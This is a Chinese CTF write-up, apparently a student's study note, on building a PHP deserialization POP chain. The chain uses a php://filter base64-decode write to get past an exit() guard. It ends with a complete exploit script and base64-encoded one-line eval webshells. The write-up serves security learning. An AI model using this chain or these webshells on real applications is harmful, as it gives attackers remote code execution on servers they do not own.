考点:
POP链的构造:新瓶旧酒,但自己审计起来还是异常的困难。。哎
死亡退出:新知识,参考https://blog.csdn.net/ITmincherry/article/details/96166423
PS:这篇本来应该在《学习web的知识》里面的,不知道语雀是不是特别垃圾,内容一多久容易崩,搞得我只能从新写一篇
这一篇参考了:https://www.freesion.com/article/4604283472/
但是仍然看得很困难,写写自己对这题的理解和思路吧
代码审计
首先题目告诉了我们是POP链,那我们就从这个方面去构造一下POP链。重点是能看懂代码(很显然2020-4-23日的我能力还有所欠妥)
首先来看一下B类(为什么?你想看哪个看哪个咧,你看得懂你就看咧):
可以看出,不出意外应该存在一个数组options;
往常的题目POP链是通过内置函数(就是他代码里自己编写有的比如highlight_file)来给我们构造POP链间接调用这些函数从而读取flag文件
这题不一样,这一题貌似没有读文件的函数给我们,但是我们在B类里发现了,写文件的函数。
写文件能上传,这让我想到了一句话木马,CTF中文件上传类型的题,那我是不是可以写一句话从而getshell?
那么现在问题来了。有写过《死亡退出》这题的就发现了,有一句话阻拦了我们。
即使我们能写入$data(file_put_contents是写入函数),但是99行的$data被拼接上了一句话。并且里面有exit();也就是说,你要想执行你的webshell,是不可能的,因为在你调用的时候直接给你exit()挂掉了。
那怎么办,参考郁离歌大佬的blog:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
99行那一串字符串长度为32(4的倍数),所以不用注意,只要不影响原值,哪个函数都行。这里我选择用strval,用strip_tags,当然也可以。所以$b->options['serialize']='strval'
这里我说一下我当时看到这里的疑惑为什么要加strval或者strip_tags?
因为这个原文章的blog主跳步骤说了,在data数据写入的时候还有个处理函数
跟进一下serialize
注意我刚刚的原话,是不影响原值,什么都可以,只要有,就行,在郁离歌的blog里,确实提到了这两个函数,并且这两个函数不会影响到我们的最后的参数,无所谓反正就是。
到这里 还有一个问题?说了半天写入webshell,写到哪还没说。。。。emmm
那不明摆着写入$filename吗?
但是有个问题,filename在哪,我们可控么?
跟进这个函数
我们的filename会是由 potions[prefix]+$name构成的
我们的$filename要变成
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/'
这样就完成了对B类的操作
我们现在理一下思路:现在我们解决了写入,明确了怎么样getshell,并且得到了个信息是有这么个数组options[]。
问题来了?谁来调用$b->set()???
回到A类
跟进这个cleanContents函数
可以发现$a->catch的构造。在cleanContents()中,array_intersect_key()是比较两个数组的键名并返回交集,所以我们$object的键选$cachedProperties中任意一个都行,这个选择path。值就是我们的Shell,用base64编码。
$object = array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");
到这又傻了,为啥要base64,编码?
敲黑板,记好了,顺便理一下思路
我们从B类知道我们可以写入一个WebShell,但是由于死亡退出的存在,我们写入也不执行,这个时候我们写入的
“WebShell”+”一串字符串”
用base64强制编码($b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/'
),死亡退出失效,而我们的base64编码的WebShell变成正常的字符串(这就是为什么用base64编码,因为我们之前解码了,为了让他变成正常的字符串)。
如果我们设值$path='1',$complete='2'
,则最后得到的$contents
会是
[{"1":{"path":"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="}},"2"]
其中$complete='2'
因为在shell
后面,所以并不影响解码。在本地试了试,发现$path='111'
时,可以正常解码shell。这样的话,$data
已经设置完毕。
回到问题,谁来调用set?
懂的都懂,只需要吧store变成B类就完事了
链的思路:
A类
的__destruct()
调用A类
的save()
通过构造A
的$store
为B
对象,从而在A类
的save()
中调用B类
的set
在B类
的set
中最终完成shell
的写入
最后exp:
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->key = 'pz.php';
}
public function start($tmp){
$this->store = $tmp;
}
}
class B{
public $options;
}
$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>
这里PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg
为<?php eval($_POST['cmd']);?
具体操作